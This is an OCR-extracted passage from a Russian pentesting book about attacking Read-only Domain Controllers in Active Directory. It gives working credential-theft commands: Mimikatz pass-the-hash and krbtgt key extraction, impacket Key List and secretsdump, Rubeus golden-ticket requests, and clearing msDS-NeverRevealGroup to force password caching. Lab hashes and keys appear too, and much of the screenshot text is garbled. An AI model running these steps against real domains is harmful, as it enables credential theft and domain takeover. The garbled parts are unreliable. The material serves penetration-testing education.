42 Часть /. Пентест Active Directory Также следует выделить особенность репликации только со стороны обычного контроллера домена. может. Также присутствует изоляция политиках остаются на Если рассматривать RODC SYSVOL - (DCSYNC) - она возможна RODC ничего реr1.1ицировать не любые изменения в групповых и не распространяются на основной домен. Microsoft, то возникают Tier О ресурсы не могут работать в тех местах, где должны находиться RODC. А RODC не должны иметь под кон­ тролем какие-либо ресурсы из Tier О. Поэтому хосты RODC и учетные данные для подключения к ним никак не могут принадлежать Tier О, но вот сами компьютер­ ные объекты RODC следует защищать как Tier О. RODC на «тировой» архитектуре определенные сложности, т. к. принадлежащие Атрибуты RODC имеет множество особенностей. Первая - почти вся нужная атакующему информация находится в атрибутах компьютерной учетной записи RODC. Наибо­ лее интересные для нас атрибуты кратко описаны ниже. managedBy Здесь указывается объект, которому делегировано административное управление RODC. Любой пользователь или группа, указанные в этом атрибуте, являются ло­ кальными администраторами на RODC (рис. 3.3): Get-ADComputer 'RODC' -prop managedBy PS С :\Usеrs\Адuинистратор. WIN-9BEК1LQS7SI> DistinguishedName DNSHostName EnaЫed ManagedBy Name 0bjectClass 0bjectGUID SamAccountName SID UserPt·inci palName Get-ADComputer •F,-,r,- • -ргор managedBy Cr-t=R0DC,0U=Domain Controllers,DC=cringe,DC=lab R0DC.cringe.lab True Cr-t=FAUSТil'IO_SHERМAN,OU=BDE,0U=Tier 1,DC=cringe,DC=lab RODC computer dc7cce21-dlf2-4c81-83e8-b0650915418e RODC$ 5-1-5-21-2531206019-2546345469-201572242-4202 Рис. 3.3. Изучение атрибута msDS-RevealOnDemandGroup, msDS-NeverRevealGroup В этом атрибуте указываются объекты, учетные данные которых могут кеширо­ ваться. Кеширование нужно для того, чтобы эти пользователи могли проходить проверку подлинности на RODC. Get-ADComputer 'RODC' -prop msDS-RevealOnDemandGroup,msDS-NeverRevealGroup Соответственно, существует атрибут, запрещающий кеширование прописанных в нем учетных данных объектов. Он называется msDS-NeverRevealGroup.
Глава Пентестим 3. 43 Read-only Domain Controllers msDS-AuthenticatedToAccou ntlist Здесь будут храниться объекты, которые успешно аутентифицировались на (рис. RODC 3.4): Get-ADComputer 'RODC' -prop msDS-AuthenticatedToAccountList PS С :\Usеrs\Адuинистратор. WIN-98EК1LQS751> Get-AOCornputer 'r;,r,[\- • -р,·ор msDS-AнthenticatedТoAccountl i s.t CN,:,ROOC ,OU=Domain Control lers ,OC=cringe, ОС= lab R.OOC.cringe. lab Di sti ngui shedNasne DNSHostName EnaЫed True {CN=ROOC ,OU=Domai n Contro 11 ers, OC=cri nge, ОС= l аЬ, CN=Aлuиниcтpaтop,CN=Users, OC=cri nge, ОС= 1 аЬ} ms.DS-Authenti catedТ0Accm1ntl i st Name ObJectClass R0OC computer dc7 cce21-dlf 2-4с81- 83еS-ЬОб50915418е R0OCS 5-1-5 - 21-25 3120601 9- 2546345469- 2015 72242-4202 0bjectGUI0 SamAccountName SID UserPri ncl ра 1Name Рис. 3.4. Изучение атрибута msDS-AuthenticatedToAccountList msDS-Revealed* Это целая группа из нескольких атрибутов: □ msDS-RevealedUsers ровались на □ список msDS-RevealedDSAs - □ msDS-RevealedList хранены на список объектов, учетные данные которых когда-либо кеши­ RODC; RODC, которые кешировали пароль пользователя; список объектов, учетные данные которых были успешно со­ RODC. Get-ADComputer 'RODC' -prop msDS-RevealedList,msDS-RevealedDSAs,msDS-RevealedUsers Аутентификация пользователей RODC кеширует учетные данные определенных пользователей как раз таки, чтобы проверить их подлинность. После успешной аутентификации по всем канонам должен быть сгенерирован ТGТ-билет, но RODC нельзя считать надежным КОС, поэтому у него создается собственная учетная запись для подписи создаваемых krbtgt. Ее пароль используется TGT. Упомянутая учетная запись имеет необычное имя: krbtgt_ <цифры>. Эти самые циф­ ры - специальный идентификатор ключа, который использовался для шифрования ТGТ-билета. Имя KrЫgtLink объекта новой RODC. учетной записи KRBTGT хранится в атрибуте msDS- А у этой самой новой учетной записи msDS-KrЫgtLinkBl содержится имя RODC. Таким образом, связать его с конкретным КRBTGT _ххххх (рис. KRBTGT в атрибуте обнаружив RODC, можно 3 .5, 3 .6). Get-ADUser -filter {name -like "krbtgt*") -prop Name,Created,PasswordLastSet, msDS-KeyVersionNumЬer,msDS-KrЫgtLinkBl Get-ADComputer RODC -Properties msDS-KrЫgtLink И, соответственно, обнаружив КRBTGT_xxxxx, можно связать его с конкретным (рис. 3.7). RODC
Часть 44 C:\Us~s\A,шмниcrpaтop.WIN-9BEК1LQS751> PS get-aduser -<',!t'<'r {nar.ie -1,lo~ Created 09 . 01.2023 22 :31 : S4 OistinguishedNa111e C,.._krbtgt ,C"-'"Users, DC,.,cri flge, ОС• 1 аЬ False EnaЫcd Gi...,enName r.is DS-Key'Ver s i oriNumber /. Пентест Active Directory } ~proo Narie ,Created . PasswordLastSet casDS-Key\iersionNUl!\Ьer . msOS-КrbTgtL'inkBl 2 L:rbtgt user Jriar.ie Ob~ectClass ObJectGUID SamAccountNaJ!le ~ 6а7Ь8а - Ьf"Ь4-4 fS 7 - bf d3- e7963fd3 Ьс.&б 09.01.2023 22:31:54 k:rbt gt SIO S-1-S-21-2S3120Ь019-254б345469-201572242-S02 PasswordlastSet Suгnar.;e IJserPrincipa1Name Create-d Di stlnguis~edN11111e 28.01.2023 17 :12:30 С ,.,.k.rbt gt_l9160 , С Н=>Us ers , ОС•с r i EnaЫed nge, ОС'"' 1 аЬ i::al s~ GivenN&11e msDS-~eyV\!rs ionNttmber вsDS- Kt·bTgtL i nk.81 1 {CN•ROOC ,OUzDor.iai n Control l ers ,OC=c.rlnge, OC• l ab} lc:rbtgt-19160 u~er •=• Obj ectC 1ass ObjectGUID Pa..sswordLastSet SamAccountName SID· 3d4 5 Ь9с.8- elSB-4 9а4- a2U-10c70dJ 97 4 ев 28.01.202] 17:12:30 krbtgt_l9160 5-1-5- 21 - 25 31206019-2S46345469-201572242- 4203 Surnшne UserPri nci ра 1Name Рис. 3.5. Нахождение KRBTGT_ХХХХХ ! [PS С :\Usеrs\Адuинистратор. WIN-9BEК1LQS7SI> Get-ADComputer· RODC -P1·ope 1·ti es msDS-KrbTgtL i nk 1 IDi sti ngui shedName IDNSНostName , EnaЫed • msDS-KrbTgtLink !Name ObjectClass pbj ectGUID iSamAccountName iSID !userPri nci ра 1Name Cf>l=ROOC ,OU=Domai n Control let·s, DC=ct·i nge, DC= lab ROOC.cringe.lab True Cf>l=krbtgt_191б0,Cf>l=Users,DC =cringe,OC=lab RODC computer dc7cce21-d1f2-4c81-8Зe8-b0650915418e ROOC$ S-1-5-21- 2531206019-2546345469-201572242 - 4202 1 Рис. !Ps С : \Usеr~\Адuинистратор. WIN-9BEК1LQS7SI> 3.6. Нахождение связанного krЫgt Get-ADUser krbtgt--19160 -Propert, es msDS-SecondaryKrbTgtNumber , msDS-К.rbTGТL; nkBl 1 1 о; st 1ngu'i she-dName CN=krЬtgt_l91бO ,CN=Users, OC=cri nge, ОС= 1 аЬ False ~i:~~~ame rnsDS -Kt· bTGТL inkBl msDS-Sec.ondaryKrbTgtNumber ,Name Objec.tClass ~~~~~~~Name SID Su1·name ;userPr'i ncipalNarne {C№=ROOC , OU=Doma'in Controll er s, OC=cr'i nge , ОС= lab} 19160 kt·btgt-19160 use,· Зd4 SЬ9сВ-е188-4 9а4 - а211-10с70dЗ974 eS krbtgt-19160 S-1-S-21-25 31206019-254 6345469-2 015 72242-4203 Рис. Дополнительно отмечу, что 3.7. Нахождение связанного RODC RODC имеет право на сброс пароля этой самой КRBTGT ХХХХХ. Get-ADUser krbtgt_l9160 -Properties Поиск msDS-SecondaryKrbTgtNumЬer,msDS-KrbTGTLinkBl RODC Как я уже отметил, вы можете обнаружить учетную запись с именем КRBTGT _<цифры>, после чего глянуть ее атрибут msDS-KrbTGTLinkBl и найти связанный контроллер, но есть и иные способы нахождения RODC.
Глава 3. Пентестим Read-only Domain Controllers Поиск RODC использовать фильтр (рис . 3.8): Рис. Самый простой - 45 3.8. Get- ADDomainController - filter {ISReadOnly -eq $True) Также была обнаружена группа « Контрол леры домена троллеры домена предприятия соответственно. RODC - только чтение » и « Кон­ только чтение », которые имеют - и RID 521 498 входит в одну из этих групп в зависимости от его уровня . Соответственно , мы можем л ибо перебрать вс е компьютеры , анали з ируя их атри­ бут 'PrimaryGroupID', либо сначала получить Get-ADG roup -filter PS {пате - like Name ObjectClass ObjectGUID SamAccountName ' SID DistinguishedName GroupCategory GroupScope Name ObjectClass ObjectGUID SamAccountName SID 3.9) : get-a group ,r, \ter· name - i 1 f е ~чтенл СN=Контроллеры доuена ~ только чтeниe,CN=Users,DC=cringe,DC=lab Secш·ity Global Контроллеры доuена - только чтение •• • • .· . " . group d876774c-474b-4a70-a3d9-e89998e5a99e Контроллеры доuена - только чтение S-1-5-21-2531206019-2546345469-201572242-521 СN=Контроллеры д~uена предприятия - только чтeниe,CN=User~,DC;;cringe,DC=lab ' Secш·ity Universal Контроллеры доuена предприятия - только чтение group б8ЬЬеf4а-сlса-49еб-Ьебf-еЬ5б8400fебf Контроллеры доuена предприятия - только чтение S-1-5-21-2531206019-2546345469-201572242-498 Рис. А затем извлечь участников (рис. Get - ADGroupMemЬer этих групп (рис . "*чтен* " ) С :\Usеr·s \Адuинистратор. WIN-9BEК1LQS7SI> DistinguishedName GroupCategory GroupScope GUID 3.9. Нахождение групп 3. 1О) : -identity d876 77 4c- 474b- 4a70-a3d9- e89998e5a 99e
46 Часть Рис. 3.10. /. Пентест Active Directory Находим участников Получение кешированных паролей с RODC Первым делом вы должны получить принципала, который имеет права локального администратора на RODC. Это может быть компрометация как кого-то привилеги­ рованного, так и просто пользователя, прописанного в атрибуте managedВy. Но перед этим не забудь выяснить, кого вообще мы можем скомпрометировать. Дпя этого загляните в атрибут msDS-RevealedUsers (рис. 3.11 ): Get-ADComputer 'RODC' -prop msDS-RevealedUsers,msDS-RevealOnDemandGroup,msDS-RevealedList Столь большие отличия не случайны. Вроде бы кешировать разрешено RACНAEL _ LAМBERT и администратора, а закешированы данные только второго, откуда-то взяв­ шегося RODC и krbtgt_l9160. Проблема заключается в том, что кеширование про­ изойдет только после успешной аутентификации пользователя в домене. То есть если RACНAEL_LAМBERT сейчас залогинится, то данные этого пользователя будут переда­ ны RODC обычным контроллером домена для кеширования. Учетные данные RODC и krbtgt_l9160 лежат в кеше потому, что компьютерная учетная запись ис­ пользуется, например, при работе со службой каталогов, а с помощью KRBTGT шифруются выдаваемые TGT. Так как все закешированные пароли будут лежать в ntds. di t, то смело дамп им его любым удобным способом. Но сначала нужно получить доступ от лица локального администратора. Вспомним, что в атрибуте managedBy был прописан некий FAUSTINO_ SHERМAN (рис. 3.12) Получаем доступ к этому пользователю, заходим на хает и видим, что мы действи­ тельно в группе ЛА (рис. 3 .13 ). После этого дампим ntds.dit как нам угодно, например через VSS.
Глава 3. Пентестим Read-only Domain Controllers Рис. PS 3.11. Просмотр атрибутов С : \Usеrs \Адuинистратор. WIN-9BEК1LQS7SI> DistinguishedName DNSHostName EnaЬled 1anagedBy Name 0bjectClass 0bjectGUID SamAccountName SID UserPrincipalName 47 Get-ADComputer rcx • - р ,·о р managedBy Cri=R0DC ,OU=Domain Controllers,DC=cringe,DC=lab R0DC.cringe.lab Tr·ue Cri=FAUSТINO_SHERМAN,0U=BDE ,OU=Ti et· 1, DC=cri nge, ОС= 1 аЬ RODC computer dc7cce21-dlf2-4c81-83e8-b0650915418e R0DC$ 5-1-5-21-2531206019-2546345469-201572242-4202 Рис. 3.12. Атрибут managedBy iC : \Users \F AUS Т INO _SHERNAN>whoami / groups :(ведения о группах Г руппа Тип Все Хорошо BUIL Т ПJ\Пользователи вurlТIN \ Пpeд-Hindows 2000 даст n Псевдоним NТ SID и звестная группа Псевдоним А U ТНОRIТУ \ ИНПРАКТИВНЬIЕ 5 - 1-1 - 0 S-1-5-32-54S S-1-S- 32-554 Хорошо известная группа S- 1-5 - 4 S-1-2-1 S- 1-S - 11 NT АUТНОRПV\Данная организац и я Хорошо и звестная группа S - 1- S - 1S ЛОКАЛЬНЫЕ Хорошо и звестная группа S-1·2-0 Группа i(RINGE \RU - абu - di stlis t 1 S- 1 - 5 - 21 - 2531206019-2546345469 - 201572242-4086 Группа CRINGE \ ВО - 14 jerusal - dis t list 1 5- 1- 5 - 21 - 2531206019 • 254634S469- 201 S72242- 3986 CRINGE\GR - mi с - di st 1 i s t 1 S- 1- 5 - 21-2531206019- 2546345469 - 20 1572242 - 4032 Группа Группа {RINGE\S0 - axelSllob-di stl is t 1 5- 1 -5- 21- 2531206019- 2546345469- 201572242- 397 2 ]Подтвержден н ое центром проверки nод.nинност и удостоверение Хорошо и звестная группа 5- 1 -18-1 S- 1 - 16 -8 192 Обязатель н ая метка\Средний об язатеnьный уровень Метка консольный вход rн АUТНОRПУ \ Прошедшие проверку Рис. 3.13. Хорошо и звестная группа Xopowo и звестная группа Членство в группе локальных администраторов ( < < < (
48 Часть /. Пентест Active Directory DSRM У всех контроллеров домена есть такая штука, которая называется DSRM. Она по­ зволяет сделать «запасной» пароль для учетной записи локального администратора на случай, если вдруг основной пароль забыт или утерян (рис. ~- cr;н:U'apeнi( S~ Sfi41 SJ8 SМ1 /•nt/hJf1/Sh.ar• sab 19:!.168.116 . 139 -u 192 168.116.139 i.i,S 19:!.168.116.139 t.1.5 19:!.168.116.139 t.t.5 19:! . 168.116.1)9 LLS 192 .168 116.139 1.1.5 192 .168 . 116.139 t.t.S 192.168 116.1)9 t.(5 SJ4I SJllil s• ·~:.us~!~O_S"ERМ:. t,· . l;:;t,e~ Н" ~• w1ndcws Server 2 С16 Diltilc.enter 11.393 ~01. (n.аме JIOOC) ( ооа.нn ,1inge.1ab} (s 1gn1ng:Tru._:,) {SЩlvl.True) {+] ,onge la b 'l'C..JSTl'.O_SHE "-"A.l1 :.o'. k ekcheы:в• (Pwn3d') {+] Ou;ipнig 5:.М hal'!es Дд.u11н11стрi1JОР SCC •o1d)bl.]SbSHOt.ee.ao1d]Ь435b5HOt.ee ~ :: roca 501 '"'•d3Ь435b5lt.0t.•eo1.ad]bt,,З5bS1t.Ot.1t-•.31dбcf•3d16.ae931Ы3c59d7etcCS9ct ••• Daf..iu\ tAccount 503 o11.1d3bt.3Sb51'-0t.1н:·ii1.td3bt.ЗSbSlt.04eae ,31d6cfqOiJ16.ae931b73cS9d7eO<.tl9<.I: ·: [+ } A(l::Jt-d] S.\'it h,H,ht'S to tht' datilbase ROOC ROOC ROOC R00C ROOC ROOC ROOC Рис. Как только "~:с : ~., 3. 14). 3.14. мы получили доступ к Получение RODC, DSRM обязательно нужно дампить SAM с целью поиска этого пароля. Пароль связан с учетной записью администратора, RID которой равен 500. Причем если мы сравним этот пароль со стандартным паролем администратора, то они будут отличаться (рис. 3.15). Г( • '· : /11nt/hgfs/Share . ·- impacket - secretsd ump СRINGЕ/Администраторw192.168. 1 16.133 -j ust -dc-user Impacket _v0.10.0 - Copyright 2022 SecureAuth Corporation Администратор Password: [*] Dumping Domain Credentials ( domain\ uid:rid: l mhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Администратор:500:ааdЗЬ435Ь51404ееааdЗЬ4 3 5Ь51404ее : 87б15641ЬеdаЬЫ845dЗс25а69еЬЬ0еб ::: [•] Cleaning up ... Рис. 3.15. Пароль обычного администратора Нам может повезти, а может и нет. Во-первых, чаще всего устанавливается один и тот же пароль DSRM на все контроллеры домена, и мы сможем зайти на другой контроллер домена от лица администратора. Но, во-вторых, чтобы зайти от имени администратора, нужна особая настройка контроллера: требуется, чтобы значение DsrmAdminLogonBehaviour по пути НКLМ\System\CurrentControlSet \Control \Lsa было равно (рис . 2 3.16). Если нам повезет, то мы сможем выполнить вход от имени админской учетки (рис. 3.17). Особенности работы Kerberos Самая главная особенность работы Kerberos с с RODC RODC в том, что синхронизироваться с контроллером домена. Процесс в одну сторону с RODC - с обычного контроллера на невозможно (рис. Также сгенерированный просом TGS-REQ RODC. DCSYNC RDOC не может возможен лишь Синхронизировать что-либо 3 .18, 3 .19). RODC TGT можно использовать и в домене, отдав его за­ на службу krbtgt обычного контроллера домена. Когда обычный
Глава 3. Пентестим Read-only Domain Control/ers Рис . 3.16. Проверка реестра gmimikat:;; pri\1 ilege: :deoug 3Pri vilege '20' ОК 3 ~mimikat: <' sekurl sa: : pth / domain: CRШGE /user: Дд,sинис тратор /ntlm: 923197ec0ecd5<l5ccd01bfld8b63f9a8 cd Администратор С \ W1ndows\SYSTEM32\cmd ехе .l•licrosoft l-lindo«s [Version 10. 0 .14393] ~(с ) Корпорац\.1:я 1·1айкросо.,;"'lт ( Hic rosoft Corporat.i on), 20-16. Все права ЗдL.ИL.ены. с ~C: \Windows\sys tem32 >dir \\dc01\C S Том в у(тройстве Серийны~ • Содержиr-юе ~12·. 09. 2016 еlб. 07. 2016 • 09.01.2023 ~16.07.2016 ':09. 01. 2023 09 . 01.2023 а номер \\dc01\C S тома: папки ~е имеет метки. Сб73-СВС0 \ldc0 1 1C $ 17:42 Logs <OIR> Perflogs <DIR> 18:23 Program Files <DIR> 22:17 Program Files (Х8 б ) <DIR > 18:23 Users <DIR> 22: 26 t•lindoнs <DIR> 22:31 0 байт 0 фа,лов 6 папок 49 422 696 448 байт свободно :_с: \l·iindo1,1s \sys tem32 > Рис. 3.17. Успешная аутентификация 49
50 Часть - ,с s mb 19 ! lb B.l l b 1 J9 192 .1 68 116.139 445 ROO( 19 2 168 . 116.139 44"> rюor 19 2 168.116 139 44~ RODC 192 168 . 116 139 44') RODL <, 1 \Pi Ч ','i J<j). 11,1! 1'11!, 1'.1.> . 19.1 . l<:l' . JIJ> . tt,H. 1ь. 1 J1 1•, R . :(, . 1.Н lf18 . 16.JH 1b8 . Н,. н·1 1ЧJ H>. l lJ 44'1 1t,. 111 4 ,,., or01 0(01 D011 1'Р.1Ы!. Н,.1 О 1•J . 1 .н,н . \r-, . 111 1,:.•, :1,.111 1,:,•, lt>. 1.1.1 l,L', uc.01 UCt!1 H,.lJJ Lf,'; 1b.1J.1 1,1,', Ol.Cl DCC1 JЧ.'.l t, k. JЧ.'. ;t,;;_ l9;'.1Lk 1 97.lьН. "-'.дм,,,.,.. ,J)tJ;, ;; 3.18. если Гос r ь : 50 1: ;i,н13b43':>b':> 11o 0 olo<'<'ilild)b.t..J5b51404eP:) 106< f ,•Od1&ato931Ы Зt 5Qd7e0c089c0: • krbt qt, 502 ;;i;i !! Зb4J5b51 4 0olot> <•,ыdJb1,J5b51404ee • 47S61ЗO.ib90f05319ЗЗ66a5e6178Sc 13;:: O<'f.1111 tAцo1111t: 503; a,:нlЗb41Sb51l,01,eeo1;1dJb4J'ib5 1 4~ 4 ,,,:,: 11d&c f1.>01l1fi,1e911ЫJcS9d7,:,0<089c0;: • !.11 с tы,:,\ : 1000: a ;нlЗl143Sb514(!4,•p .ыdJbloJ511>H04Pt': 1:1161':iM, lbrd,1bЫBlo5111c1S..1&9Pbb0Pb:: • ( т i.nl!t'. 1.1l1\lORI[_l1{BS1 [ R: 1101.: ;мd3bt.1'ib511o04ee.,ad1b4J'>b',1'-04N.>, 811CJ84.19Ucct.7b8d<Jf 2,1d0&1412d.181 : • • ( 1 11,!i••. \.:1b\HOR[NП _6RAtt~: 110'>: ,1.id Jb4 1'>b':>1401ot•"1.1.1dЗh43',b511o04N!: 1!bJ21<2d600f9ЫfЬd,1d',8d4 f ObJ1069:;: , г inqe. l,1Ь\SHAROIJ . JACOB'>: 1106: <\аd)Ьч 1',b',1404•чы.нtJb4"1!>b',1'-0l..l!t>: 'if1671c9d.10b09 16113b2d881899.14.1 a ::: t r11н\v. l.1Ь\l'IILFORD SHPHHtSON; 1107: ., .rdJblo 1'оЬ5140 1. ,ч>;,"d3Ьt.ЗSЬ~Н.04ее: ea~1616H!kl.17fc0c f 748SЬ180b16& f 7 < r 111ч,:,. l.1b\CVR I L _PAUL: 110R; aad3b4ЗSb5 ll.Пloev,1,1dJl14J!>bS140 '- •'~': (OJaJtbJ5f f1,b883fd1dfbb0a74dvc2S:: • DПН {К01 TGT, 3.19. Дамп TGT с DC он смотрит атрибут msDS-RevealOnDemandGroup принципал тикета указан • в NeverRevealGroup, то RODC ..... •·· ..,i\ ,c]k,K;l,,.1,1:з•· Рис. веряет: Дамп с ' Wi ndo 111 '> S 1'Г \/ l'Г ) 0 \Ь Пltм en te r 11,:19J ~f>I, (n,1ml': IK111) ( d om ,,in:(riпfг . la b ) (<;i~ n i n g :Jr щ•) (5~R11 1: 1.rue ) ( +] П i n P,P. \ ;. h \ дJ1Mlllltlf fJJ,H Op : lo\ k p k , h P h 1;• .1 ! (P1,mJ1/ ' ) [+] t) 11mp i n(t t hP NIO'> , t h i<,. cou \ d t,1 k P ,1 wh i1(' <;О ~n V, r ,1 h ;i ГP dh 11ll, Ад,,t11нис rр;.тор; ',00: .-i.-idJb i.i J 5b':> 11o04<i>t>i!,1d]b4 }Sb':i 11o04<•t•: 8 /&1 '>fJ41bed.1bb]84SdJc 2S.-iЬ9ebЬOeU : ; : ООН КД получает данный Active Directory :, lr,H.:,~ tcf'!:>11, 1 1, ~,..,•~r• Wi ndows Serve r 1 С 16 Datace п ter 1/.393 х64 ( nam.:> ROOC) ( doma1 n с п п gе lab ) (s1gn 1ng : ' (+] c г 1n g P \а Ь \ Админис1р ,но р · lоl k Р k с h еЫ.!З 1 (Pw11Jd') (+] Dump 1n g t he NTDS , t h 1s c ou ld t.~ k P d wh1le so go g r ab а r edbu l l . Unknown ОП RPC fa u lt stat u 5 code 00000057 1)(111 !)1111 4.:.', '<4', 44'> 44', 44•, Пентест Ад\•rl~м-озтгр Рис. ·,mb 11).1 168,11&, 111 191 1tiH. H,.1.JI 4f,", D!U\ /. этом атрибуте и будет обновлен до «полного» TGT RODC не указан и про­ в msDS- и подписан ключом обычной учетной записи krbtgt контроллера домена. Причем обычный контроллер домена перегенерирует РАС билета, а не станет его копировать из ванного TGT, сгенериро­ RODC. Таким образом, если мы хотим создать «золотой», «бриллиантовый» или «сапфи­ ровый» тикет, обязательно следить за тем, какой пользователь нам нужен. Принци­ пал ни в коем случае не должен присутствовать в списке 'msDS-NeverRevealGroup'. Кеу List Эта атака позволяет извлечь NTLM-xeш пользователя, злоупотребляя особенностя­ ми взаимодействия RODC с обычным контроллером домена. Сначала «золотой» тикет генерируется с использованием ключа krЬtgt TGS-REQ RODC и отправляется в запросе на обычный контроллер домена. При этом устанавливается специальный флаг КERВ-КEY-LIST-REQ. И если целевая учетная запись присутствует в атрибуте и отсутствует в атрибуте msDS-NeverRevealGroup, то msDS-RevealOnDemandGroup RODC REP будет содержать структуру КERВ-КEY-LIST-REP с учетными данными пользователя. TGS- Для выполнения атаки нам нужны: 1. АЕS-ключ учетной записи krЬtgt с 2. Номер версии ключа (последние цифры в имени krЬtgt). 3. Имя пользователя, хеш которого хотим получить. Пользователь должен быть RODC. прописан в атрибуте msDS-RevealOnDemandGroup. Первые два объекта можно получить, используя lsadшnp::lsa Mimikatz (рис. 3.20): /inject /name:krЬtgt_19160 А потом можно воспользоваться пользователя: Rubeus либо lmpacket для получения NTLM-xeшa
Глава 3. Пентестим Read-only Domain Controllers 51 ~imikatz ~ lsadump::lsa /inject /user:krbtgt_19160 CRINGE / 5-1-5-21-2531206019-2546345469-201572242 !Domain 0000106Ь ( 4203) !RID lJse r 1 krbtgt_19160 • Primary NТLH : с487сlе60Ье2ЫеЬаб291Ь372Ь668f54 LH Hash NTLH: c487cle60be2Ыeba6291b372b668f54 ntlm - 0: с487сlе60Ье2ЫеЬа6291Ь372Ьбб8f54 lm - ·0: 9bdaf4c027ac4cdabf330ef34697907f • HDigest 01 102cb54e197138f0d2cflc7dc43e2631 02 715f7abf279413a09ae6a26b83290fec 03 67172939773d667f840f614d911bc489 04 102cb54e197138f0d2cflc7dc43e2631 05 715f7abf279413a09aeбa26b83290fec 06 ff78a0aac65e3a7c30513c8ca7981775 07 102cb54e197138f0d2cflc7dc43e2631 08 71dce99598403c726066637043699221 09 71dсе9959840Зс726066637043699221 10 2bfbc0ca3101478bf563d3c82662a768 11 9f38323072225ab526ba3657dee02df2 12 71dce99598403c726066637043699221 13 6c75c255cf5c8c212f878f3869d2clbc 14 9f38323072225ab526ba3657dee02df2 1·s . c8ele8970503aeff44ebb08a8bff4650 16 c8ele8970503aeff44ebb08a8bff4650 17 0694ca7eb34d286de8e299a5442b56c5 18 flba09a5d3f3bd128638dbe3a19961b4 19 c44e5dfe9145a03e1Ь740062da98967d 20 За79с99Ь1За961257f08577с0917429f 21 641cd5f95fa6d007520 c9 0be506Ы29b 22 641cd5f95fa6d007520c90be506Ы29b 23 Зc7f52ae464404d8566ec90eedbeaбa3 24 5151d385049636c8cfe2718ffbb4c95b 25 5151d385049636c8cfe2718ffbb4c95b 26 5ес7228сЬ6а6860349472Ь9019а6с2са 27 730a399e4159f8af751e177c29621951 28 bбba5c0d28d18ba2fde8d4c4a1962b4d 29 3dela422182b01650f6809e7d0de7498 • Kerberos Default Salt : CRINGE .LAB krbtgt_19160 Credentials : 7992а4375445е068 des _cbc_md5 • Kerberos-Neo,er-Keys Default Salt : CRINGE.LABkrbtgt_19160 Default Iterations : 4096 Credentials fa34fec82433432f4b 3e3fb8005bd369ddde8f15ee5450e92d9304ecd07bab60 aes256 hmac (4096) fbbef2fed21ffb50c0e01f40186923ed aes128_hmac (4096) 7992а4375445е068 des_c bc_mdS ( 4096) • NТLH-Strong-NTOl•IF Random Value : 93d00042Ы20a8917d06614789cf360c Рис. 3.20. Извлечение ключа AES-256 # impacket impacket-keylistattack CRINGE/FAUSTINO_SHERМAN:pass123@dc01 -rodcNo 19160 -rodcKey fa34fec82433432f4b3e3fb8005bd369ddde8f15ee5450e92d9304ecd07bab60 - dc-ip 192.168.116.133 -debug
52 # Часть /. Пентест Active Directory RuЬeus # TGT Сначала запрашиваем RuЬeus.exe goldeп /rodcNшnЬer:19160 /aes256:fa34fec82433432f4b3e3fЬ8005Ьd369ddde8f15ee5450e92d9304ecd07baЬ60 /user:RACНAEL_LAМВERT /id:1196 /domaiп:criпge.laЬ /sid:S-l-5-21-1437000690-1664695696- 1586295871 # Отдаем TGT TGS-REQ в запрос RuЬeus.exe /eпctype:aes256 asktgs /keyList /ticket:doIFgzCCBX+gA /dc:dcl.criпge.laЬ /service:krbtgt/criпge.laЬ Листаем вниз и находим хеш пользователя (рис. L .J ...,..,._,. ,-,.,,, _._,..... .,...,.._.,..., .J,,,J -.а._._""'..,.'-._. ,,...,,_ ._.., ''""' •'- 3 .2 l ). ..,,..J_,.,..., ... ,.._,. ... '-t-' .._..._ ._. '-'-'-" ..._,, ,,...,..,"-..1 [-] User GRETCHEN_ELLIOTT is not allowed to have passwords replicated in RODCs [-] User ROGER_GOLDEN is not allowed to have passwords replicated in RODCs [-] User ERМA_WEEKS is not allowed to have passwыds replicated in RODCs пinge. lab\RACHAEL_LAl>IBERT: 1196: 87615641ЬеdаЬЬ2845d3с25аб9еЬЫJеб Рис. 3.21. lmpacket натыкается на пользователя из Контроль над объектом msDS-RevealOnDemandGroup RODC Если вдруг в ходе пентеста получилось обнаружить учетную запись, которая имеет права GeпericWrite/GeпericAll/WriteProperty на msDS-RevealOпDemaпdGroup и желательно на msDS-NeverRevealGroup, то захват домена обеспечен! Все сводится к изменению этих самых атрибуrов msDS-RevealOпDemaпdGroup и msDS-NeverRevealGroup, что приведет к кеши­ рованию паролей новых пользователей. Например, мы видим, что кеширование неких RAМONA- TURNER, RAМON- STEWART' и 'RANDELL COLON отключено (рис. 3.22). ~ 1 С \User~\ ~~,_~.,..,п.,,... 1, ч 'iд-,"1 ;:l'os,:1n,:a1нhN~->e , 'l• R();t; '1-•~S>ta5t 'i;ш,. ,l 1' АЬ1Ю •OS-neve~~Nt',ilG J~P bJertCl;sн < ..,,, .. tc < е !D se,-;, "-Х.:,,ч,.-1., ~t t,1 ]е г, ,.,;,s 11:,..1e,ill)0Den~r,d(;r<> X •L ,.,.,,е [)( р ~~D~ ~,.,,,.-;.,.,,.,. 1G~c, р 1~~ ~е ~~ l , _,,._... ,,...,,. ~t~ bJect(,UIC: • ~ J , ~ \. ,,. 1 ~~ ~ ~ .... e;sl o,,~rj{, ~ .. 5.!!мc c N,n t't=e > (,,.. Q, ~ r -Ж: <._..\(--\-. ::.• С • (' _. ,. ,. ,.... ~, .. ,, •• 4<~. ,,,,.s ',! {' ь,.:,t, ~~J, О -,,., ~ .. "] " Х• IA~< > -:~ ,-~ .. ж iаь ё<-lcl> l .... R,.,,O't_., ' 1'1 .\l r, -f'-V 1 ·.::..it' ос - ,-,,; .. А , ... ...::--~, ['РЛ• ( ';• ""' Х • < ,,., .. "' l~ь ]JP '""~-. D~LL._lO 1)',1 ou --sт о~....,., .. , 2 X • L•1n9f' X • l&b } ~~1,.1:&f' ~ ~s •·ч,p;sJ'la:•e ' . • ' - _, <t,J.,.,,;i • • '':-' 4 , Рис. 3.22. Изучение атрибутов Поскольку у нас учетная запись имеет контроль над этим атрибуrом, просто очи­ щаем его (рис. 3 .23 ): Set-DomaiпObject -Ideпtity ROOC$ -Clear 'msDS-NeverRevealGroup' PS С ~ \\JS:~rs \Aдuин иef P~т~P. wiN-9BЁкiLQs75I > Set~Domai;object PS С :\Usеrs \ Адwинистрат ор . t'IIN -9BEК1LQS7SI> Get-AOComputer RODCS <' со· msDS-Revea lOnDemandGroup . msOS-neverRevea lGroup Dl st 1ngu1 sl1ed Narne DNSHostName Enabled sDS-Revea lOnDe111an dG1·oup Narne bJectClass bJectGtlID Sar.lACCOLJntNarne CN=ROOC ,OU=Dooal n Cont r·ol lers, OC=c r· lnge, ОС= lab ROOC.cr·lnQe. lab True {C N=RACНAEL_LAМBERT ,OU=FIN 